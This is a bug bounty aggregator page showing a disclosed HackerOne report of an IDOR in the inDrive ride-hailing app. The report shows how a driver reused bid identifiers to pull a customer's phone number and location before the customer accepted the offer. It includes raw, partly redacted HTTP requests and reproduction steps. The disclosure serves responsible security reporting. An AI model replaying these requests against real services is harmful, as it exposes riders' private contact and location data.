Skip to content
IDOR Disclosed report Intermediate

# Drivers can access the customers phone number, current location without getting their offer accepted!

A driver could retrieve a customer's phone number and location coordinates before the customer accepted the driver's offer, by reusing the tender and order identifiers returned when submitting a bid. The attacker could then resolve the coordinates to an address through a separate endpoint.

bugsv2 Follow

Originally disclosed on HackerOne

  • Triaged in 20 hours
  • Fixed in 5 months
  • Paid in 8 days
  • Disclosed after 15 months

Summary by the program

The report

Summary:

Hi Kirill, I wish you are fine today <3 I have a new bug today, leading to leak the phone number and the location of the customer how? When the driver submit an offer/price to the customer, something is getting created called “tender” “id”

██████████ Then alittle bit later, another requset is getting sent called "/api/getTenderStatus?"

This request of getTender is asking for order_id= & tender_id= , Which got generated on the /api/driverrequest request (( as the screen shot ))

Steps to reproduce:

  1. Open the driver’s account, and wait till you get a ride from anyone!

    ███████

  2. submit any price for the ride you selected

    ███

  3. Now we can see the request of /api/driverrequest

    POST /api/driverrequest?cid=9415&locale=en_US&job_id=███████ HTTP/1.1
    Host: terra-6.indriverapp.com
    X-App: android 5.8.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 293
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/4.10.0
    Connection: close
    
    phone=█████&token=████&v=7&stream_id=1669551146811201&order_id=█████████&client_id=█████████&████████&type=indriver&price=33&period=2&geo_arrival_time=105&distance=305&███&sn=1
    
    HTTP/1.1 200 OK
    Server: QRATOR
    Date: Sun, 27 Nov 2022 12:12:40 GMT
    Content-Type: application/json;charset=utf-8
    Content-Length: 1042
    Connection: close
    Access-Control-Allow-Origin: *
    X-XSS-Protection: 1; mode=block
    
    {"response":{"tender":{"id":█████,"driver_id":████,"client_id":███████,"order_id":███,"status":"wait","created":"Sun, 27 Nov 2022 21:12:40 +0900","modified":"Sun, 27 Nov 2022 21:12:40 +0900","price":33,"timeout":15,"expire_time":"Sun, 27 Nov 2022 21:12:55 +0900","type":"bid","period":2,"currency_code":"","distance":305,"counter_bid_price":0,"counter_bid_timeout":0,"driver":{"id":"████","username":"███████","avatarbig":"██████:██████:███:"",█████████,"carname":"Peugeot","carmodel":"508","carcolor":"black","rating":"5.000000","performed":1,"bid_label":null}}}}
    
  4. Now we see the request and the response, and the customer didn’t accept our offer! But we still have the "tender":{"id":█████ and "order_id":█████

  5. Now we gonna send the request of /api/getTenderStatus

    POST /api/getTenderStatus?cid=9415&locale=en_US&job_id=6d4ddf82-40de-4b42-80cc-08c8be40a77e HTTP/1.1
    Host: terra-6.indriverapp.com
    X-App: android 5.8.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 129
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/4.10.0
    Connection: close
    
    order_id=<ORDER-ID>&tender_id=<TENDER-ID>&phone=<PHONE>&token=<TOKEN>&v=7&stream_id=1669550370135120
    

    Now we can see!

    ███

  6. Now we have the phone number and the lat,long of the customer. How can we get the location from the lat,long? By the following requset:

    POST /api/getaddresses?cid=9415&locale=en_US HTTP/1.1
    Host: terra-6.indriverapp.com
    X-App: android 5.8.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 177
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/4.10.0
    Connection: close
    
    phone=<NUMBER>&token=<TOKEN>&v=2&stream_id=1669551175078856&██████████&show_plus_code=false&type=start&source=order_form
    

    ██████

Impact

  • Drivers can leak the customers data, name, phone number, location.
  • Drivers can access the customer data and do rides out of the application knowledge.
  • Drivers cannot access the customers sensitive data like this. only when their offers get accepted.

The original report as published on HackerOne, by bugsv2. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the tender status endpoint returns full customer contact and location data to the bidding driver without checking that the offer was accepted.

Impact

Drivers could obtain a customer's name, phone number and location before an offer was accepted, and could arrange rides outside the platform.

What the attacker needed

A driver account; an incoming ride request; submitting a bid

How it was found

  1. Open the driver account and wait until a ride request arrives.
  2. Submit any price for the selected ride.
  3. Observe the driverrequest call and note the tender id and order id in the response.
  4. Send a getTenderStatus request with those identifiers.
  5. Read the customer's phone number and coordinates from the response.
  6. Resolve the coordinates to an address using the getaddresses request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a driver offers a price for a ride, the app creates a record called a tender that holds the order and tender identifiers. The report shows that a second request using those identifiers returns the customer's phone number and location even though the customer never accepted the offer, so a driver can learn private details about a rider before any deal is agreed.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More by bugsv2

View all

4 more disclosed reports, best first.

More from inDrive

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.